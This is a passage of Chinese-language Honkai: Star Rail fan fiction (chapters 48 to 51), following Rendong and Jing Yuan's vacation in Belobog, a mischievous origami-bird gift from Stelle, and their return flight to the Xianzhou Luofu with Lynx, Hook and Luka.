一个愿打,一个愿挨,一个锅配一个盖……
48.雪原
漫漫天地间,一片白茫茫,左右四望,见不到除了雪色之外的颜色。
这里是城郊雪原,路边的白雪下,可见随处倒塌的低矮房屋,还有枯萎了树木,可谓是生机断绝的最生动写照。
忍冬激动的心渐渐冷却了下来,她从这些残存的人类遗迹中,能看见一种垂死挣扎的绝望。
这颗星球,也只有贝洛伯格还残存着最后的人类之火。
景元也沉默着,紧紧抓着忍冬的手。温热的体温透过她手上的手套传递了过来,让她不至于真的感到寒冷。
这个世界就是这样,有人歌舞升平,有人绝境求生。
对于跟这颗星球没有半点交际的忍冬来说,她虽能预料到这里的寂寥,但绝没有亲身体会来得深厚。
人类啊……她只能轻叹,为她的微薄良心。
“这么危险的星核,星却可以容纳。到底是她的体质异常,还是那颗星核异常……”忍冬不为寻求谁人的解答,她只是不想让由此而生的疑惑积存心尖。
景元唯有沉默,继续沉默,但他攥着忍冬的手更紧了。
令使,也不过是刚好够入这场上演着的剧目的最低准入门槛罢了……他要怎么做,才能保护好身边人呢……
与此同时,星际和平公司战略投资部,一场平和的私下聚会正在一间房间内展开。
参与者仅三人,翡翠轻靠着柔软的沙发,紫色的长发闲逸散落,唇角的弧度较之之前在砂金匹诺康尼一行罪责讨论会上升了一点,柔和又带着一点冷淡的看着自己对面,刚结束职位解除危机的砂金。
“你这个要求过分了……”翡翠这般说着。但动作不变,连笑弧都没有几分变化。只是静等着,等着自己上门的猎物给出更肥美的饵食。
砂金手中的筹码上下翻飞,指节灵活,他的眼睛随意看着筹码,漫不经心反问翡翠:“过分吗,女士?那你为何还浪费自己宝贵的时间,坐在我面前呢?”
翡翠接过身旁托帕递给她的一杯红酒,摇晃着,红色的酒液不断倾向更上面的透明杯身,又滑落向另一处。
她浅抿一口,笑容可亲的看向砂金,似刚享用完血食的吸血鬼贵族,唇色血红,“因为刚为我战略部要回一批陈年旧账的砂金总监~值得这等待。”
“油嘴滑舌。”砂金冷淡的评论道。
一直默不作声的托帕看着这样的砂金,笑了起来,“你这样子,过了这么久,还是很难适应啊~”
“是啊~向来满口甜言蜜语的诡谲砂金,居然有一天评价我油嘴滑舌?”翡翠也笑了,眼里的打趣实打实的投向了他,“这就是有家的孩子有的底气吗?”
翡翠算是发掘出砂金的第一人,她是亲眼看着这位沦落为奴隶的埃维金人,怎么一步步走到如今的位置的,也是一步步看着他深陷赌徒的绝路姿态。
这于她有利,于公司有利。
一位癫狂的赌徒,失去一切的赌徒,是最好掌控的。
但当她认为一切已成定局时,她最先看中的砂金的强运,也再次为他带来了破局的关键。
他的亲姐姐……和一位颇有地位和能力的养母。
而在她遗憾失去对砂金的利用时,好运却也眷顾了她。一位曾不管不顾,毫无弱点的赌徒,成为了家犬?啊~
砂金不为所动,他只满脸不耐的催促着,“再加索罗伦赌场的一年经营权。”
看~不用拿捏,成为家犬的小狗狗也会为了守护,而让出自己的利益呢~
托帕也很满意,跟翡翠对视,两个女人眼里都闪过了一丝愉悦。
砂金说完自己最后的押注就不再说话了,只是无言抛着手中的筹码,还拿出骰子摇着。
他知道这两个女人会答应的。
托帕刚因前不久的雅利洛-Ⅵ而降级,需要资源回归;翡翠要准备不久后罗浮开办的演武仪典,跟那个小灰毛接触。
她们虽都不至缺资金的地步,但白捡的也不会放过,更别说他的要求……只是要她们一起跟他围剿星核猎手罢了。
这跟对那些巡海游侠的赏金令也没什么区别。他并没有要求一定要击杀星核猎手成员,只是想给他们找点事罢了。
毕竟忍冬妈妈都不计较呢……
砂金凝视着筹码的眼神深沉了下来,浑身气压极低。翡翠和托帕见此,都知道不能再薅羊毛下去了,轮流松了口,答应了下来。
这件事就这么商定了。
星核猎手中,早被通知也乖乖安分下来的其他人都减少了跟公司碰面的机会,除了活跃度更高也更自信的银狼……
【啊啊啊!公司那群鬣狗!怎么有那么多时间一直追着我啊?!还专门从我老家雇了二十三个黑客,一直追着我跑啊!时不时还用虚拟电子狗咬我啊?!那个孔雀男那么记仇吗?!】
银狼虽然很想直接跟那位忍冬夫人告状,但作为刚带着刃捅了对方一刀,且被对方的养子雇了二十三个黑客盯着的家伙来说,她,突然有了一点良心……
所以,【星!!你去帮我告状吧!有报酬!】
在匹诺康尼四处被垃圾桶打得垂头耷耳,找折纸鸟找的眼冒繁星的星来说,银狼这是在找事!
多日来的烦闷化为噼噼啪啪的打字声,不断谴责着他们去堵忍冬,还捅她一刀的暴行。
【星……你不爱你的卡芙卡妈妈了吗……】
银狼当然知道星核猎手在星那里最重要的是什么,她还不断加着码,试图让星想起他们的“美好过往”。
【还有流萤,你不担心公司那群家伙对她不利吗?】
星才不听银狼的这番煽情话术,先不说她自己有能力解决这件事。再说她提出的这两人,哪个是能被公司欺负的啊?!只有她的编外养母,忍冬老婆,才会被这些黑心肝的家伙欺负!
为了家庭的团结,她有必要维护更弱势那方,为了平衡端水之道!
在寰宇依旧热热闹闹时,雅利洛-Ⅵ上仅存的人类文明又迎来了它的一次天外来客。
走入贝洛伯格的行政区,跨越雪原感受到的冷意一下子消失了,变成了舒适的暖意。
忍冬四处看着,看着这跟罗浮截然不同的街道,看着完全没有雪花痕迹的建筑,看着刚路过的打闹孩子们,她的嘴角勾了起来。<
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p>她摇了摇牵着的手,看向身旁的景元。轻快的指着这比之罗浮寂寥了不少的新奇城市,眼睛圆溜溜的。
“我们逛逛?”
“好~”
景元日常困倦的睡眼此时闪着细碎的光点,一直注视着她。任她拉着他向前,走入这白色大理石装点的城市。
此次出行,他们是以游客的身份出现在这里。所以并没有人知道景元的身份,也不会有人打扰他们的这次旅行。
雅利洛自开放之后,虽得到了公司有条件的帮助,此后的发展不用担心。但忍冬他们因天外来客的身份明里暗里体会到的便利,还是让他们看出了这里执政者的忧虑。
不说入住的一系列迅速流程,光说外出时遇见的人看见他们,个个都十分有礼。
“这不好吗?”景元问她。他们此时正漫步在城郊雪原寻找冰原熊幼崽的痕迹,身后很远的地方坠着一个小不点。
忍冬皱眉思索了好一会儿,眼睛不断看向他又移开,唇瓣抿得紧紧的,几次张口都只吐出几句碎语。
“好是好、但是太不真实了……罗浮都不会这样……”最后,忍冬只干涩的说出了这句话。她双眼此时倒没有避开景元了,紧盯着他,想看出他的想法意图十分明显。
景元一侧长过眼的刘海碎发被一根装饰着向日葵的发夹夹起,露出了常年不显的那只眼。他手扶着下颌,额间翘起几根固执的白发,眼睛弯成了一条黑色弧线,唇角笑眯眯的,隐约可见一侧的酒窝。
“不适应了?因为夫人认为不管再好的地方,人类的恶劣人性总会显现,对吧?”
忍冬认同的点头,继续认真的看着他,等待着他继续说出她无法完全总结出来的想法。
“而这里显得很美好,就很空?而且这种空很像被什么危险的东西在身后追赶压迫出来的,让这种行为本身的好就显得很危险。”
“嗯嗯!就是这样!”既然人类的本质是复读机,那么忍冬也不介意直接把景元的话拿来用。
“而且……”她稍稍侧头,以一副欣赏四周的自然态度瞟过身后,“那孩子的出现更是让我确定,贝洛伯格的人不是没有那些想法。只是不敢,也不想在我们这两个外人面前表现出来而已。”
景元微微点头,看向四周的一片白茫茫,以他的能力,居然也找不到一点冰原熊幼崽出现过的痕迹。
“走吧,看来今天无法得偿所愿了。”忍冬也四处看了一圈,轻叹着拉过景元的手,“看不了冰原熊,我们就去看看贝洛伯格的其他地方吧。怎么着也是跟罗浮很不同的景色呢……”
两人牵着手返身回去,忍冬稍稍注意了一下四周,连身后跟着的那个女孩的痕迹也看不到。
真的是很谨慎呢……
忍冬虽有些生气,但她也理解。
毕竟如果她作为贝洛伯格一方的人,在尚还弱势之时,突然来了两个浑身气势悠闲,态度不紧不慢的危险人物,她也会担心是不是在谋算着什么……
……更别说她态度明显热切,直接在行政区内打听了冰原熊幼崽的痕迹了。
被当成偷猎的防备了呢……
49.旅行小浣熊
这一切的破冰出现在他们走入一间名为【永动】的机械店铺后,在与店主的言谈间泄露出的认识同一个人的亲切。
店主在贝洛伯格是个很出名的摇滚歌星,叫希露瓦。她拥有一头在忍冬看来很炫酷的挑染发尾,浑身的穿搭也是个人特色十足,还喜欢用电吉他锤人,实在是一位美貌与能力齐备的女孩。
她是忍冬在贝洛伯格见到的第一位难得热情起来让她没有违和感的人。所以计划待在这里的时间里,她总会以各种理由去找她,通过她的见识了解这颗星球。
避无可避的,日常谈话中,她们都谈到了各自的友人。然后不知怎么起的话头,说起了某位热爱翻垃圾桶的小浣熊。
“等等……忍冬小姐,我好像也认识一位跟你那位朋友很像的人……”希露瓦艰难的打断了一说起星来,忍冬就喋喋不休的嘴,看着她的眼里有怀疑和几分诧异。
希露瓦当然认识星,但她也认识这位忍冬小姐。
对这位突如其来的忍冬小姐和她的丈夫,希露瓦知道很多贝洛伯格人都很警惕。原来她也心怀疑惑的,但相处下来,她渐渐打消了对他们的怀疑。
可现在……
忍冬不打算去试探生存在一颗刚渡过存亡危机不久的星球的人,她掏出了自己的玉兆,给星打了视频。
希露瓦面色讪讪,她知道自己那一瞬间泄露的怀疑很伤人心。
但是吧,作为亲历了前任大守护者统治时期,并失去了可可利亚这位老朋友的她来说,她无法再去想象隐藏的危机再次带来生存抉择的后果。
嘟嘟——铃声响了好一会儿。在忍冬淡然的神情下,希露瓦也不好泄露自己的紧张。
还好,一会儿后,就有人接起了电话。
“喂,忍冬老婆?你现在应该在雅利洛吧,怎么有时间给我打电话了?”星那独具特色,跟她三岁的年纪很不相当的御姐音,带着通讯电流传输过寰宇造成的一点虚假电音,屑屑的。
希露瓦提起的心稍稍回落了一点,她不动声色的插嘴,试探的叫了对面人一声:“开拓者?”
“希露瓦,你也在啊?嘿嘿~你们怎么想到一起给我打电话了?对了对了,我离开之后都忙到忘记去看你们了!杰帕德还有布洛妮娅他们还好吗?还有妮可,你们都好吗?”
视频对面,星脸上的表情也带着屑意,眼尾耷拉着,看人的表情显得高高在上的。
这味对了……
希露瓦确认了,对面确实是开拓者,而且是很不高兴她们打扰她的开拓者。
忍冬探头,在视频中露出了自己的上半张脸,好奇问她:“你还在试图掏匹诺康尼的垃圾桶?还是又被什么东西打了?”
星的屑脸立刻变了,眉毛倒竖,瞳孔圆睁,咬着牙愤愤不平的抱怨开了。
“该死的匹诺康尼!垃圾桶倒那么干净干什么?!还不准我掏!还有王下一桶,虽然我爱垃圾桶爱得深沉,但是!这不是允许垃圾桶成精暴打我的理由!”
垃圾桶精……你是在说自己吗……
忍冬没在匹诺康尼见过什么垃圾桶精,所以很怀疑星是否大脑被什么撞了,才导致了这番让她无法理解的话。
大概是她们这边的表情太露骨,星看得出来,表情更怨念了。
她试图张口说什么,但最后还是似有顾忌,闭上了嘴。
转头跟希露瓦说:“忍冬是我介绍过来的,她是个作家。很喜欢可爱毛茸茸,对雅利洛的文化很感兴趣。布洛妮娅不是很担忧雅利洛跟寰宇的联系吗?他们也算是可以代表一方势力,来让贝洛伯格更好的出现在寰宇人民面前的送信人吧。”
希露瓦听着,一头雾水。
她看向一旁的忍冬,见她微笑着对她点了点头,说:“虽然此行算得上私人出行,但我们确实也为了给贝洛伯格送邀请函。景元……就是我丈夫,现在大约已经见到那位大守护者了吧?”
希露瓦白皙的脸庞泛起了淡淡的薄红,她尴尬的挠了一下头顶,难为情的清咳了一声,“那个……对不起。先入为主的揣测你们,我跟你们真诚的道歉!为表歉意,我、我把我家现存的过去文化资料都带给你看吧!”
希露瓦不想继续验证下去了,再继续,她怀疑她们大概会变成老死不相往来的关系。
不要啊!她也对外星文明很感兴趣啊!忍冬小姐,一定不要拒绝我的投其所好啊!
还没等忍冬回答,星就等不及的插话了。
“对了,忍冬老婆,你们现在应该还在雅利洛吧?我让砂金通过公司给你们送了一点礼物,记得涨好感啊!这次可是匹诺康尼的特色产物啊!我好不容易磨着知更鸟和妃色夫人同意的,当然,我也征求礼物的同意了!”
星信誓旦旦的拍着胸口跟忍冬保证,好像一点也记不起来前一次她也是这么跟她说的。
星,忍冬的现实旅行小浣熊。热爱翻垃圾桶,喜欢亮晶晶的石头,最爱对着各色俊秀的男男女女喊老婆,也是一个很让忍冬担心的家伙。
上次,她偷拿了黑塔的定分枪,让艾丝妲找了过来;上上次,她把帕姆养在列车的绿植送了过来,让自己被臭骂了一顿,还让忍冬自觉垫付了运费,又把那盆绿植送了回去,才结束这场讨伐。虽然之后帕姆亲自给忍冬选了一盆自己养的绿植送了过来……
凡此种种,就不一细数了。
总之,星,一款离开了罗浮,还让忍冬马不停蹄给她擦屁股的全自动惹祸机。
忍冬不敢想,此次,她脑袋一拍,又想出了什么“好主意”。
“……你还没长教训呐?”忍冬真的很想刨开星的大脑看看,到底是怎样的构造,才能在一次次惹事之后,完全遗忘前一次的教训,一犯再犯。
“这次不会再发生那种情况了,我保证!”星的自信不用言明,看她闪亮着期待忍冬接到礼物后夸奖她的眼,就知道她根本没想起前几次的惨状!
……也可能是故意装作遗忘。毕竟星怎么看都不是一个会言败的人……
忍冬叹气,无奈笑着点了头。“好好好,我相信你。但那么多次了,你也得做好再次搞糟的可能性哦,别又一把鼻涕一把泪的找上来,要我给你求情。我都快混成列车编外人员了……”
“当然!挂了!”送出了礼物,得到了长辈的无奈慈爱,解决了忍冬老婆想看冰原熊的问题。星成就感满满的挂了视频,又继续游荡在匹诺康尼的大街小巷了。
而在雅利洛,忍冬在玉兆黑屏后又叹了口气,满脸头疼的模样。
希露瓦没在之后她们跑题的话中插上嘴,无奈安静的听完了全程。
一个熊孩子跟她的无血缘亲妈的沟通过程……
想出这个比喻的希露瓦满脸难言,眉头紧紧皱在一起,像搅成一团的毛线。
虽然希
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露瓦之前听杰帕德说过开拓者的性格很不靠谱。但她自身跟开拓者接触的几次来看,她是一个很厉害很靠得住的人。
她还以为杰帕德之前是因为她太喜欢开拓者了,所以吃醋乱说呢……
原来真的有点不靠谱啊……
希露瓦关于星的印象崩塌中……
之后,希露瓦热情陪同忍冬逛了很多地方。还去了星一手复兴起来的历史文化博物馆,看见了列车组在雅利洛上开拓留下的影像。
而一结束出来,她们就恰好碰见了跟布洛妮娅谈完话的景元。
忍冬自然的走过去拉起他的手,对他笑了。
希露瓦走到布洛妮娅身后,跟陪同护卫的希儿一人一边站定,默默看向了自然调整站位站在一起的两人。
景元笑着对布洛妮娅介绍说:“这是我夫人,忍冬,一位很厉害的医者和作家。”然后转头笑得更柔和,声调都轻低了几度,对忍冬流程般的介绍:“这位是贝洛伯格的大守护者,布洛妮娅小姐。你应该听开拓者说过。她身后的是希儿小姐。”
忍冬微笑着看着布洛妮娅的眼睛点了点头,她也对她点点头。就这样双方打完了招呼。
景元知道忍冬不太喜欢跟位高权重的权贵打交道,就算这位布洛妮娅小姐不是那样的人,她大抵也会不自在。
而且,他之前问过她想不想认识这位大守护者,她的答案是否。
所以,在这些社交场合算得上游刃有余的景元很快找了个借口,带着她脱身了。
离开的时候,那位夫人很喜欢的希露瓦小姐还热情的对他们喊道:“之后我带玲可去找你啊~忍冬小姐!到时候我再继续道歉!”
走回旅馆的路上,景元问忍冬,“之前发生了什么吗?”
忍冬脸上的微笑垮了下来,带着烦恼,做出了头疼的动作。
她揉着额角,苦恼跟他倾述说:“因为之前无意说起了星,希露瓦小姐以为我是故意打听星的消息,说出来麻痹她的。所以发生了一点不愉快,但很快我拨通星的电话,把这件事解决了。”
“她表现得比之前更热切,大概是因为觉得愧疚吧?因为末日谨慎导致的误会……”
“对了,星跟她说,让希露瓦小姐的妹妹,那位叫玲可的雪原生存探险家来带我们去找冰原熊!嘿嘿~此行总算是得偿所愿了~而且我刚才去看了贝洛伯格的历史文化博物馆,里面很多东西都很有意思,还有星他们来的时候的留影!明天我们一起去看吧!”
虽然被戒备很让人不高兴,但受到满意回馈的忍冬觉得,自己可以包容!
包、包容……
“这、这什么啊?!景元你快来看啊!”
第二天一大早,忍冬他们的房门口被放了一个小巧的正方形包裹。
忍冬查看了一下寄件人,确实是昨天刚说过要送礼物过来的星。
由于包裹包装的很好,很平凡,也没有什么古怪的动静。所以忍冬很放心的打开了。
一打开,里面就冲出了一道黑影,闪出了她的视线。带着咋咋呼呼的喊救命声,那个小巧的桃红色小东西就冲出了窗口,只能看见一道背影了。
忍冬短促尖叫了半声,转头慌忙的喊着尚还睡在床上的景元。在他迷蒙的金眸中指着那逃之夭夭的桃红色背影,慌张的说:“折纸小鸟!那是匹诺康尼的折纸小鸟!它飞了!还在叫救命啊!!”
50.假期
这只折纸小鸟最终还是被逮住了,只不过不是他们逮住的,是由希露瓦带着她的一双弟妹用一个鸟笼装着带过来的。
“这笼子还是我找了好久才找出来的……这鸟什么情况?”希露瓦把鸟笼交到忍冬手里,里面那只折纸小鸟凄惨的叫着什么绑架了、救命之类的话。
忍冬讪笑着,指了指鸟笼,“昨天星说送的礼物。”
“啊?开拓者?这礼物确实挺别致……”希露瓦已经不会再怀疑忍冬的为人了,但对这一由开拓者促成的“偷猎”事件,她也替忍冬感到了头疼。
玲可,也就是雪原曾跟在他们身后的小尾巴,表情沉稳的直视了忍冬的双眼,“……要怎么处理它?”
忍冬注意到她的唇瓣紧抿着,下唇还有一丝细小的内陷。她虽看起来是个沉默寡言的人,但此时盯着她的双眼却显得分毫不让,灼灼有神。
忍冬唇角勾了一下,对她说:“大概是原路送回去。毕竟星那家伙虽然想一出是一出,但算不上什么坏人,我也不希望因为这些主观为了我的事而导致有人讨厌她。”
虽然感觉这孩子现在应该更怀疑她吧……
“玲可很关心它吗?那要不要跟我们一道去看看?反正罗浮很快也要举办演武仪典了,贝洛伯格要派人参加的吧?”
不知不觉,时间流逝,他们待在这里也将近三个月了。
玲可迟疑的回头看向自己的哥哥姐姐。那位银鬃铁卫的戍卫官面容同样沉稳默然,只是看着妹妹的双眼闪动着信任的光点。而作为最大的姐姐,希露瓦笑容满面,热情的向妹妹竖起了大拇指,支持之意明显。
玲可想起那些走出下城区的孩子们,那个叫虎克的小女孩曾兴高采烈的向路过的人,其中也有她,高兴的分享了她将要去向天空,一处名为罗浮的地方参加好玩的比赛。
她想,她可以去。
玲可转头看着忍冬,沉稳的面容上,嘴角小小的绽放了一点笑容。她向忍冬低了低头,轻声说:“那么,打扰了,忍冬小姐。”
忍冬有点高兴,在于她没有看错这个孩子。也很期待接下来可以接触到的朗道家的文献资料,还有可爱的冰原熊的生存详情。
希露瓦带着玲可过来后,知道忍冬这一天的打算,很快就让杰帕德把带来的资料放下,带着弟弟妹妹离开了。
忍冬虽然很想立刻翻看,但她昨天对景元承诺了的,她要和他一起去逛历史文化博物馆。
但在那之前……
忍冬看向了鸟笼中恹恹的折纸小鸟,在离开匹诺康尼那般繁华耀眼的城市之后显得更为奇异的折纸身材,好奇的问:“你需要进食吗?还是需要什么?”
“折纸小鸟不需要吃东西,我要回去跟夫人告状!灰毛、可怕的灰毛一下子抓住了我,天一黑,我就被可怕的人类绑架了!”
折纸小鸟的话虽有些童稚,但仍旧把忍冬的问题很好的回答了,还透露了星嘴里的征求“同意”的大致过程。
虽然当初在匹诺康尼的时候她也想过养一只折纸小鸟,但在知道这些小鸟跟孩子的智商差不多,对同类的首领依赖性很强时便放弃了。
忍冬提着鸟笼的挂钩转身走入旅馆房间,顺手给在外寻找小鸟的景元发了消息。
很快,他们再次齐聚在了房间里。
她把折纸小鸟的鸟笼放在了窗边,能看见外面广阔的行政区,也能闻到风带来的雪原冷冽气。
景元伸指戳了戳里面的小鸟,一下就收回了手,表情淡然,“真的是纸的触感啊……”
“是啊,也只是看起来可爱啊……”同为喜爱毛茸茸的忍冬也带着点遗憾说。
折纸小鸟没有反应,垂头耷耳的,只嘀嘀咕咕着告状、告状。
见折纸小鸟情绪太过低落,忍冬不得不在玉兆上联系了卡卡瓦夏,想问问能不能让驻留在雅利洛的公司人员直接把折纸小鸟给送回去。
但得到的结果很无奈,大约是不可行。
因为公司当初插手雅利洛的事务是为了更好的利益,但在托帕的意志下,公司没有得到更好更符合自身利益的结果。
所以虽然对雅利洛的协助都在,但这种相关星球本身航运的事项,还是需要雅利洛人自身建设才行。
可现在的情况就是,虽然雅利洛走出了危机,但一时半会儿,这些相应的建设都无法一蹴而就。
忍冬放下玉兆,担忧的看着鸟笼里的折纸小鸟,想了想,鼓足勇气看向了景元。
不用她说话,相处已久的景元就明白了她的意思。
他亲手打开了鸟笼,对里面的折纸小鸟说:“现在我们没办法立刻把你送回去,但留在这里的这段时间,我们能承诺你的自由。之后回到罗浮,我们会立马把你送上回匹诺康尼的飞舰。”
“所以,我们来做个约定吧?你乖乖待在这里,到时候我们就送你回家。”
折纸小鸟抬起了头,一眼望得到底的大眼睛唰啦的亮了,飞着拍了拍翅膀,“回家!回家!”
“看来是同意了呢。”景元扭头对忍冬笑了起来,眉眼弯弯。一股清澈的暖流充斥了忍冬的心间,她也柔和弯了眉眼。
下午,忍冬和景元吃完午饭后,一同去了历史文化博物馆。
穿行在各种见证了时光流逝的古老物品之间,静谧的宁和裹住了她的心,让她更能感受到此刻的偶然与难得。
多神奇啊,当初那个在学宫远望着意气风发的少年,曾大言不惭对友人说着轻视的亵渎话语的女孩,现在真的站在了那少年的身边,跟他在一颗远离罗浮的星球,看着时光的变迁。
以他俩的岁数来说,这博物馆的很多东西其实都没有他俩存在的时间长,但就是让她感受到了一种岁月悠然流逝的感觉。
忍冬转头,脸颊浮现不怀好意的笑容,看着景元说:“还记得学宫时期的我吗?”
景元眨眨眼,轻笑着点头。
他知道忍冬大约要的不是这个反应,可是,他还真的就记得那时的她。
虽然没得到迟疑反应,铺垫不到位,但也不妨碍忍冬接下来要说的话。
“那时候的我啊~其实还算喜欢你哦~”
“哦?看不出来呢……”景元想到自己多次假装偶遇,路过忍冬身旁,她那无视的态度,他真的很难相信忍冬嘴里说的还算喜欢。
忍冬不知道景元内里的腹诽,继续说:“当时我还跟焕蓝说,你看起来很好欺负来着,让我有种凌虐欲。当然,说说而已。”
景元脚步一顿,带着挽着他手臂的忍冬也强制停住了。
托历史文化博物馆的经营高峰期暂时过去,他们停留的这片展览区除了他俩,没有什么人。
景元问:“那现在呢?夫人还想欺负景元吗?我可以暂时委屈一下~”
……是委屈我很多下吧!
虽然明白说出来之后,景元一定会把这当把柄拿捏她
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,但要不要来得这么快?!
而且,“公共场合,注意一点啊!”忍冬啪的捂住景元的嘴,提心吊胆的左右看了看。
景元拉下忍冬捂嘴的手,轻笑,“放心夫人~景元是特意看没人才说的~而且就算听见了,也绝对不会发生你想的那些。”
“我想什么了?!我什么都没想!”忍冬炸毛,厉声呵斥,又一把捂住了景元还欲说什么的嘴,“闭上嘴啊!不然我真的让你节操掉一地啊?!”
景元眉眼弯弯,在忍冬捂着嘴的情况下,乖乖点了点头。
忍冬再三戒备,最后还是放开了手,“再乱说话,你就自己回去吧!”
景元伸手揉了揉被忍冬大力捂住泛红的脸蛋,笑吟吟的看着她,“夫人真是双标欸~明明是你先开口的~景元只不过表达自己的想法,居然就要被捂嘴三连?”
“没有三次!两次!”忍冬一把攥住他的手,气鼓鼓的蛮横拉着他向前,独留披着长发的后脑勺面对他。
“好好~确实只有两次~”景元投降,语气里说不出的宠溺和妥协。
这次贝洛伯格的历史文化博物馆之行,就这么落下了帷幕。
而回来的当夜,景元确实暂时的小小“欺负”了一下忍冬。
第二天,玲可上门。
这是与忍冬沟通好的,她将要带他们夫妻两人去追寻重现的冰原熊活动痕迹。
一见面,玲可就很有礼貌的跟他们打了招呼,还真诚的夸赞了忍冬今日的唇彩颜色很美。
忍冬满脸笑意,手捏着景元的小臂,稍显低哑的声线带着满满诚意,谢过了玲可的夸赞。
他们出发了,而松开手无情跟上玲可的忍冬,一个眼神都没给景元留。
景元眼尖的瞟过忍冬后颈从衣领边冒出的一点红痕,满脸愁苦,哼哼唧唧的揉着小臂跟上了她们。
在走到城郊雪原入口的时候,玲可实在是很想回头看看。
为何那位景元先生先前一直嘀嘀咕咕的凑在忍冬小姐身边,而现在却连声音也没有了?
她慢吞吞的,故作不经意的回头,一瞥。
却见景元先生嘴上被塞了一块素青色的绸帕,帕角还绣着一朵雪白的花。
玲可唰的扭回头,声调不自觉的高了一点,“前面、大约就是重现的冰原熊活动区域。仔、细找找,就能找到了。”
大约是玲可靠谱稳重的形象深入忍冬的心,她没有什么额外的想法,直接上了前,手中还拿出了一个小巧的相机。
而紧跟在忍冬身后的景元,抽出了嘴里刚被塞入嘴的手帕,在又不自觉看过来的玲可眼神中对她笑了笑。一脸自然的把手帕叠好,塞到了自己怀里。
唰,玲可又扭头了。
她把视线定在了白色的雪面上,小声对忍冬说:“我、我去准备午饭需要的东西,忍冬小姐,你们两人去观察吧。”
说完,转身小跑着离开了这里。
景元走到忍冬身旁,就遭遇了手肘攻击。
忍冬神色了然,向他伸出了手,“还回来!”
景元也笑眯眯的,“我不。”
这时候,冰原熊幼崽晃晃悠悠的出现在了他们的视野范围内。
啪,忍冬捂住了景元的嘴,严肃的对他竖起了食指,还指了指冰原熊幼崽的方向。
景元又乖乖点头了。
无声的连拍,收获了结果。
此行,圆满结束。
51.回家
三月期满,忍冬带着玲可和那只折纸小鸟,还有一个叫虎克的小女孩,一个跟景元有点渊源的红发少年,一起踏上了回罗浮的道路。
星海号停留在雪松林的三个月依旧完好无损。
忍冬和景元带着三人找到了它的位置,解除了它的防卫机制。在两声惊奇的赞叹声中,这艘流线型的中型飞舰露出了它的真容。
忍冬眼含笑意的回头睨了那两声惊叹的主人一眼,顺带看了一旁面容显得很稳重,但眼神也亮了一个度的玲可,戳了戳景元。
景元让星海号现身后,在忍冬的示意下,对着三位好奇的朋友们招了手,说:“上来吧,我们该启程了。”
“哦、哦哦!宇宙飞行!”从外表的棕色系装束中,虎克这位小朋友的性格展露无遗,开朗活泼的笑容也让她的话语显得格外惹人疼惜。
起码,忍冬很喜欢她。并且联想了一下酷似景元的小孩……
但医书、现实实例、还有仙舟很多生育子嗣后感情破裂,导致孩子无家可归的惨痛例子都让忍冬收回了这一想法。
她瞟了一眼笑容满面逗弄着虎克的景元,有点惋惜。
虽然看起来景元会是一位好父亲,但忍冬并不能肯定自己会是一位好母亲。
一想到一个孩子将要寄生她的肚腹十月,还要让她走过生死鬼门关才能生出来……多恐怖啊……
就算她很喜欢景元,但也不想这般把自己的生命置于这段感情之下。
呲咔——飞舰门关上了。在星海号的显示屏上,出现了不远处远远看着这里的一列银鬃铁卫,还有他们最前面站着的布洛妮娅大守护者。
“……好清晰啊,大守护者姐姐的头发丝都能看清楚欸。”虎克对这一神奇技术很感兴趣。但想到为了这趟旅行,她给老爹承诺的一系列保证,虎克噌亮的眼睛暗淡了下来。
身后红发的卢卡少年温和的把手按在了虎克肩上,在她警惕抬头时,给了她一个灿烂的微笑。
……老爹的间谍也在。
虎克彻底蔫了,虽然眼神扫过周围还是时不时亮起光亮,但她很乖的坐到了位置上。肉嘟嘟的小脸像朵向日葵,一下跟着忍冬转,一下跟着景元转。
忍冬负责查看燃料的储备,景元负责检查星海号的设施完备情况。很快,在协同系统的帮助下,一切准备就绪。
星海号周身的能量槽亮起了蓝光,随着能量的积蓄,周边的雪层急速融化,露出底下的黑色土层。在扩大到距离布洛妮娅一行人十几米远处,星海号升空了。
它短暂停滞了一息,然后唰的一下,就跟流星划过天际,带着白色的拖尾消失在了天空中。不消几分钟,布洛妮娅就只能看见一个模糊的小点了。
她肃穆的望着,轻声祝愿:“愿一切顺利……”
在玲可、虎克和卢卡还没反应过来之前,深沉黑色,远处点缀着五彩星星的宇宙幕布下,雅利洛-Ⅵ呈现在了他们面前。
“白色……”他们异口同声这般呢喃,眼眶在主人还未察觉之下,一股热气烘烤了起来。
“它多美啊……像闪耀的钻石。”玲可轻声赞叹,那双天蓝色的眼瞳中,除了倒映的白色星球,再无其它。
卢卡也很激动,他看着这颗星球,唇瓣颤动了几下,蓝色的眼中浮现了一点水痕。
虎克噔噔噔跳下了座位,跑到了忍冬和景元待着的控制面板前。这里有着距离显示屏最近的位置,小虎克没有注意到自己违反了老爹再三不可以麻烦别人的嘱托,眼神亮晶晶的,撒满了碎星。
“哇啊!这是虎克的家乡吗?!好漂亮!好好看哦!我回去一定要给老爹说!”
忍冬跟景元相视一笑。
他抱起了虎克,忍冬举起了相机,咔嚓,一张雅利洛-Ⅵ的照片就被相机吐了出来。
她回头看了看掩饰着自身激动的玲可和卢卡,又是两声咔嚓,三人都得到了自己想要的。
虎克手中拿着那张照片,郑重的把它塞到了贴身的小包包里,连景元把她又抱回了位置都没有反应。
卢卡也很激动,但他首先还是注意了虎克的状况,帮景元接了一把手,顺带给虎克解开的座椅安全扣又扣上了。
景元把虎克放下后,也走到了一旁的位置,扣上了安全扣。接着转头望向在前方的忍冬,虽只能看见驾驶座的椅背,他的嘴角却自然的浮出了笑容。
“坐好了?迁跃位置已确定,迁跃倒计时,十、九、八……”
忍冬稳稳的坐在操作台前,眼睛紧盯着显示屏上的进度条。身后笔直高挺的驾驶座椅背托举着她,让她不至于在瞬间的迁跃冲击中摔倒而四处滚动。
“……三、二、一!”忍冬抓紧了驾驶座的把手,在瞬间袭来的推拉感中,只是白光一闪,星海号便出现在了距罗浮不远处的区域。
“哇啊!!”虎克又是惊叹,连番的冲击让她的小脸激动得红扑扑的,像红润的苹果。她指着前方不远处已能看见轮廓的罗浮仙舟,扯着卢卡的衣摆使劲摇晃着,小嘴叭叭的嚷开了。
“船、大船在那里飞啊!!好大、好多房子啊!!”
忍冬见到罗浮的轮廓,心里涌上了安定感。
景元早已不知什么时候解开了安全扣,走到了她身边,两手轻轻的压在她的肩上。见她抬头,唇角自然上扬,眼睛温和的对她笑了一下。
“回家了……”
当星海号驶入罗浮星槎海港口后,一种宛如漂浮踏到实地的感觉让忍冬恍惚了一下。在这时候,舰门打开,哗啦一声,喧闹的人声就冲了进来。
来来往往的人群,不同的语言和口音,还有狐人商团娇柔的谈判声、云骑的整齐巡逻声……一种感觉罩住了忍冬。
